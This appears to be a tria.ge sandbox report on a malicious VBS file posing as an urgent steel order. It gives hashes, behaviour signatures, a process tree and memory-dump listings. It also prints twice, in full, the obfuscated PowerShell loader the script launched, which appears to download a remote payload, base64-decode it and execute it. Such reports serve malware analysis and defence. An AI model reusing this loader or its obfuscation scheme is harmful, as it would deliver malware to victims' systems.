Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

7

Static

static

1

Comanda ur...23.vbs

windows7-x64

1

Comanda ur...23.vbs

windows10-2004-x64

7

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    03/07/2023, 08:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Comanda urgenta - ITECO STEEL SERVICE 07_03_2023.vbs

  • Size

    4KB

  • MD5

    aab09eea239b96d566b77b1b3958bd23

  • SHA1

    834e6c8da8b1593f166cb48169401a9dbe8a9b5b

  • SHA256

    25a8ad8ccf2a0ad522178a9d5c82b0a56b84e742ff1aa1bc880f745655df2b2a

  • SHA512

    aa6bbcbf66404ed4216e61d0c6eadd93620e2cdce08f0fca33dcdc71a382ac42434bcfef298e7c3b6d4fe641d7ceac2da1c6c2875a52900a9d37ae8753dfebe7

  • SSDEEP

    96:66tOKfIGoKYFTW3dXzOjiAqJn8GGNp8tl81qb3ll4LxURnTlvQg5fEBx:6ZYiKoWtDOWJn8RN6l8cYGRTlvQgK7

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Comanda urgenta - ITECO STEEL SERVICE 07_03_2023.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Bele9 ([String]$Antloph){For($Tillp=4; $Tillp -lt $Antloph.Length-1; $Tillp+=(4+1)){$Echa=$Antloph.Substring( $Tillp, 1);$Gemsef+=$Echa};$Gemsef;}$Rolli112=Bele9 'Ulejh Sart McitDiagpNdvrsDsig:Micr/ Cad/Strad GuioclubmDomsaMartsGren.Stunr AfsoUnca/UnflrSkoleNonfd SemiBarms Kack Coo. Vret Paro BircResi ';$Gemsef01=Bele9 'Epili ArbeRheix Kil ';$Irisrootis175 = Bele9 'Stel\JubisUncoy PresKnivwInquoRetawAfga6Gril4Prog\LabrW KoniFacanDensd RejoSvinwFoehsBurrPPapioTappwOmpoeRammrBullS VarhHysteGrevlMesolCove\XavevBegy1 Frs.Liga0Chon\ Prop PosoContw Tile Krsr SvasFaglh LapeOppelStillbead. SvieAngix Proe Sol ';.($Gemsef01) (Bele9 'Mell$KanaFStete EvemPartvPrivr SubeDigt2Bras=unde$ NoteCycln Morv Mar: DatwRaadi NonnMelddStatiFigur Svi ') ;.($Gemsef01) (Bele9 ' Hec$BereI HavrFilii LeusEjerrSandoDueho SygtForkiVilis Mis1 Hju7kamu5 rer= Gla$HedeF Sube Conm DecvTonerPenneSord2 Fil+asha$AzarI HinrDecii Emps Marr manoTlpeoElekt Anli SessChre1 Uku7 Ove5 Opg ') ;.($Gemsef01) (Bele9 'Degl$ TimN SkeeLanod Oveshist Ove=Aspa Prem(Enge(Skumg Tidw GyrmUncli Beg DefewBanki Crunmega3Nati2Efte_ Nrsp Disr FakoAtomcBoneeAdtrsPodosSkov Hle -TragFfini ParaP BezrJapao DiocSpyde OrgsWhirs DunI kvadOutr=Hype$ Dog{ SwiPKnabIPolyD Kar}Coun)Comm. FilC MadoPappmRabam OmkaPertnProgd TilL Komi Tnkn Ukle Cou)Sand Papi-Unres Coip Serl TagiEndrt scr Ndla[ ovecUnreh Cura PanrHeca]Konf3 Lap4 Kas ');.($Gemsef01) (Bele9 'Atta$ ImmH Date BaalWumbbZebrr Goro Hypd EzaeAdverMilisStep Fre= mes Conv$ EftNDeifefrysd Bedsdian[ Whi$OutsNNegreGaard DynsSori. AntcTilboSachu CarnVatit asc-Hewl2Obad]Syge ');.($Gemsef01) (Bele9 'Peri$ KeiUSpeenOutfdGreneSygerBranh HjsoSvinlCant= Mae(SilkT MineOrigsNdtetDist- NanP Chaa Kret RadhEuph dis$ GenIUdstrFladipiets HjerIzzaoFhovoUndltSandiGaljsEbon1eksp7Indp5 Rin) Ove Inf-ZemiA InnnSkrudBrok Buk(Spar[NyorISynsn Comt EndP nontSererloca]Prun:Ineq:Newss CeriFourzSukkeKlas Broo- NedeCaruq Lae kam8Nonu) Rem ') ;if ($Underhol) {.$Irisrootis175 $Helbroders;} else {;$Gemsef00=Bele9 'TranSTenlt NapaScalr DestFore-TepaBUntui Coxt LicsEkstTPararChecaSussn BamsConsfSupee NabrDumm Lan-psycSUndeo Unpu FlgrGleacParae spr Mimm$ spaRPewio Shol Ensl InfiNorm1Hers1 tav2Emis Pis- AriD ConeFjtesAvistDrapi PaanMensa Myct Ribi bndoUdpnnBogw Hon$PantFLamde BatmviruvSemirskfueFald2Desp ';.($Gemsef01) (Bele9 'ngle$SelvFAfsveAfmemInvevBrugrScroeTorn2Sadd=Macl$ Stae AphnMisfv pse:BracaSvvepBrusp BetdHeloaBandt Oveatelf ') ;.($Gemsef01) (Bele9 'induI VarmRundpYalloVelur SaatDilu- FejMDefeoOperdAstru Ekvl JiveRace KultBUndeiMetat Fins EntTPhysrRingaFrstnOutss Skof Dage TidrUpdo ') ;$Femvre2=$Femvre2+'\Datab.Tre';while (-not $Neofetalu) {.($Gemsef01) (Bele9 'Proc$ NonN klieDrmmoRiftfKanae GeotNedkaMennlDjinu Hvi= cay(ScorT Unpe PepsIrontLand-KnguP GolaUnbatAuthh Uno Eft$ RubFwatce UromTandvCarar ComePota2Circ)Bars ') ;.($Gemsef01) $Gemsef00;.($Gemsef01) (Bele9 ' TerS Bikt GasaMelar fort lac-TyndS StalHydreEpheeCuspp For Lodg5 Sta ');}.($Gemsef01) (Bele9 'Scle$ EjeBBlice FralStriePlur Dipl=Komp StraGBlgeeFrugt Fre-MariC Hulo SornSpalt LreenovanAlist Hag Took$ SpiFEvake Nitm KlovProtrMicre Und2 Hom ');.($Gemsef01) (Bele9 'Pere$PrstB FrarFljmnSkure OptsGeegykoragDaek Samm= Tak Coa[Trn SLninyAtresHypotScateNavnmPseu.SjofCKnopo BrunFljtvCoche TryrHotetConn] dig:Eccr:YurtFindfrMalvoHemimbotcB DonaHjfosStale seq6 ved4 radS PartExperplasi snonIpalg Del(tele$ ThrB Bere Ombl SaieUdtr)Emmy ');.($Gemsef01) (Bele9 ' Pla$dopiG Ille PormDicksCeileElsef Hid2Sylv Pis= Clo Dis[ ImpSHaenyDists Roct udveAntimgene.FunkTAbbreAntixDoortBrom.FamiEStann Parc Domo Lard Ssti ImpnAquag Sam]Brug:Jock: DerAMaxiSSicyCBambIBhutIGenn.WairGInveeRingt dioS TiltSignr Vani BinnLeucg Syv( cla$OuabBbeeprFrstnKnobeCornsRespy FesgGrin) Joa ');.($Gemsef01) (Bele9 'Acad$ fdsM LifoZoopt Dumi OpsvDraa=Ernr$ OokGFanae FebmUnjesPyloeRettf Kan2 Aed. Rhos Stvu Effb GamsAutot ProrArbeiPersnraing Dyn( Ops2Nond0 Tra0 Amn7Wahc0 Gra8Boli, Pto2 Udb7Oppu3 Par6Fors3Jinn)Chal ');.($Gemsef01) $Motiv;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1100
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Bele9 ([String]$Antloph){For($Tillp=4; $Tillp -lt $Antloph.Length-1; $Tillp+=(4+1)){$Echa=$Antloph.Substring( $Tillp, 1);$Gemsef+=$Echa};$Gemsef;}$Rolli112=Bele9 'Ulejh Sart McitDiagpNdvrsDsig:Micr/ Cad/Strad GuioclubmDomsaMartsGren.Stunr AfsoUnca/UnflrSkoleNonfd SemiBarms Kack Coo. Vret Paro BircResi ';$Gemsef01=Bele9 'Epili ArbeRheix Kil ';$Irisrootis175 = Bele9 'Stel\JubisUncoy PresKnivwInquoRetawAfga6Gril4Prog\LabrW KoniFacanDensd RejoSvinwFoehsBurrPPapioTappwOmpoeRammrBullS VarhHysteGrevlMesolCove\XavevBegy1 Frs.Liga0Chon\ Prop PosoContw Tile Krsr SvasFaglh LapeOppelStillbead. SvieAngix Proe Sol ';.($Gemsef01) (Bele9 'Mell$KanaFStete EvemPartvPrivr SubeDigt2Bras=unde$ NoteCycln Morv Mar: DatwRaadi NonnMelddStatiFigur Svi ') ;.($Gemsef01) (Bele9 ' Hec$BereI HavrFilii LeusEjerrSandoDueho SygtForkiVilis Mis1 Hju7kamu5 rer= Gla$HedeF Sube Conm DecvTonerPenneSord2 Fil+asha$AzarI HinrDecii Emps Marr manoTlpeoElekt Anli SessChre1 Uku7 Ove5 Opg ') ;.($Gemsef01) (Bele9 'Degl$ TimN SkeeLanod Oveshist Ove=Aspa Prem(Enge(Skumg Tidw GyrmUncli Beg DefewBanki Crunmega3Nati2Efte_ Nrsp Disr FakoAtomcBoneeAdtrsPodosSkov Hle -TragFfini ParaP BezrJapao DiocSpyde OrgsWhirs DunI kvadOutr=Hype$ Dog{ SwiPKnabIPolyD Kar}Coun)Comm. FilC MadoPappmRabam OmkaPertnProgd TilL Komi Tnkn Ukle Cou)Sand Papi-Unres Coip Serl TagiEndrt scr Ndla[ ovecUnreh Cura PanrHeca]Konf3 Lap4 Kas ');.($Gemsef01) (Bele9 'Atta$ ImmH Date BaalWumbbZebrr Goro Hypd EzaeAdverMilisStep Fre= mes Conv$ EftNDeifefrysd Bedsdian[ Whi$OutsNNegreGaard DynsSori. AntcTilboSachu CarnVatit asc-Hewl2Obad]Syge ');.($Gemsef01) (Bele9 'Peri$ KeiUSpeenOutfdGreneSygerBranh HjsoSvinlCant= Mae(SilkT MineOrigsNdtetDist- NanP Chaa Kret RadhEuph dis$ GenIUdstrFladipiets HjerIzzaoFhovoUndltSandiGaljsEbon1eksp7Indp5 Rin) Ove Inf-ZemiA InnnSkrudBrok Buk(Spar[NyorISynsn Comt EndP nontSererloca]Prun:Ineq:Newss CeriFourzSukkeKlas Broo- NedeCaruq Lae kam8Nonu) Rem ') ;if ($Underhol) {.$Irisrootis175 $Helbroders;} else {;$Gemsef00=Bele9 'TranSTenlt NapaScalr DestFore-TepaBUntui Coxt LicsEkstTPararChecaSussn BamsConsfSupee NabrDumm Lan-psycSUndeo Unpu FlgrGleacParae spr Mimm$ spaRPewio Shol Ensl InfiNorm1Hers1 tav2Emis Pis- AriD ConeFjtesAvistDrapi PaanMensa Myct Ribi bndoUdpnnBogw Hon$PantFLamde BatmviruvSemirskfueFald2Desp ';.($Gemsef01) (Bele9 'ngle$SelvFAfsveAfmemInvevBrugrScroeTorn2Sadd=Macl$ Stae AphnMisfv pse:BracaSvvepBrusp BetdHeloaBandt Oveatelf ') ;.($Gemsef01) (Bele9 'induI VarmRundpYalloVelur SaatDilu- FejMDefeoOperdAstru Ekvl JiveRace KultBUndeiMetat Fins EntTPhysrRingaFrstnOutss Skof Dage TidrUpdo ') ;$Femvre2=$Femvre2+'\Datab.Tre';while (-not $Neofetalu) {.($Gemsef01) (Bele9 'Proc$ NonN klieDrmmoRiftfKanae GeotNedkaMennlDjinu Hvi= cay(ScorT Unpe PepsIrontLand-KnguP GolaUnbatAuthh Uno Eft$ RubFwatce UromTandvCarar ComePota2Circ)Bars ') ;.($Gemsef01) $Gemsef00;.($Gemsef01) (Bele9 ' TerS Bikt GasaMelar fort lac-TyndS StalHydreEpheeCuspp For Lodg5 Sta ');}.($Gemsef01) (Bele9 'Scle$ EjeBBlice FralStriePlur Dipl=Komp StraGBlgeeFrugt Fre-MariC Hulo SornSpalt LreenovanAlist Hag Took$ SpiFEvake Nitm KlovProtrMicre Und2 Hom ');.($Gemsef01) (Bele9 'Pere$PrstB FrarFljmnSkure OptsGeegykoragDaek Samm= Tak Coa[Trn SLninyAtresHypotScateNavnmPseu.SjofCKnopo BrunFljtvCoche TryrHotetConn] dig:Eccr:YurtFindfrMalvoHemimbotcB DonaHjfosStale seq6 ved4 radS PartExperplasi snonIpalg Del(tele$ ThrB Bere Ombl SaieUdtr)Emmy ');.($Gemsef01) (Bele9 ' Pla$dopiG Ille PormDicksCeileElsef Hid2Sylv Pis= Clo Dis[ ImpSHaenyDists Roct udveAntimgene.FunkTAbbreAntixDoortBrom.FamiEStann Parc Domo Lard Ssti ImpnAquag Sam]Brug:Jock: DerAMaxiSSicyCBambIBhutIGenn.WairGInveeRingt dioS TiltSignr Vani BinnLeucg Syv( cla$OuabBbeeprFrstnKnobeCornsRespy FesgGrin) Joa ');.($Gemsef01) (Bele9 'Acad$ fdsM LifoZoopt Dumi OpsvDraa=Ernr$ OokGFanae FebmUnjesPyloeRettf Kan2 Aed. Rhos Stvu Effb GamsAutot ProrArbeiPersnraing Dyn( Ops2Nond0 Tra0 Amn7Wahc0 Gra8Boli, Pto2 Udb7Oppu3 Par6Fors3Jinn)Chal ');.($Gemsef01) $Motiv;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:832

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9QT0KN1733UC60Y14AYM.temp
    Filesize

    7KB

    MD5

    a06ecc6ed251cfe3d2b2c50486cb4db0

    SHA1

    e207df38f9f6857c1f08396664f3679abb59f600

    SHA256

    62b53d55aebb97bf4a85fee4448dec2641c055433f639de080a1bce8c69668d2

    SHA512

    8ab62f0c7f9cf86deffc29b3e883e1ffb0e09f80ef9a8910dc7d56a462063e1c0dc2b9706ac9e54eb76d2d6a4f2771d911b1e2de85db21f387f0f4b5321ab798

    Download Submit

  • memory/832-81-0x0000000002430000-0x0000000002470000-memory.dmp

    Filesize

    256KB

    Download

  • memory/832-80-0x0000000002430000-0x0000000002470000-memory.dmp

    Filesize

    256KB

    Download

  • memory/832-67-0x0000000002430000-0x0000000002470000-memory.dmp

    Filesize

    256KB

    Download

  • memory/832-66-0x0000000002430000-0x0000000002470000-memory.dmp

    Filesize

    256KB

    Download

  • memory/1100-65-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-58-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/1100-62-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-61-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-77-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-78-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-79-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-59-0x0000000002810000-0x0000000002890000-memory.dmp

    Filesize

    512KB

    Download

  • memory/1100-60-0x0000000002270000-0x0000000002278000-memory.dmp

    Filesize

    32KB

    Download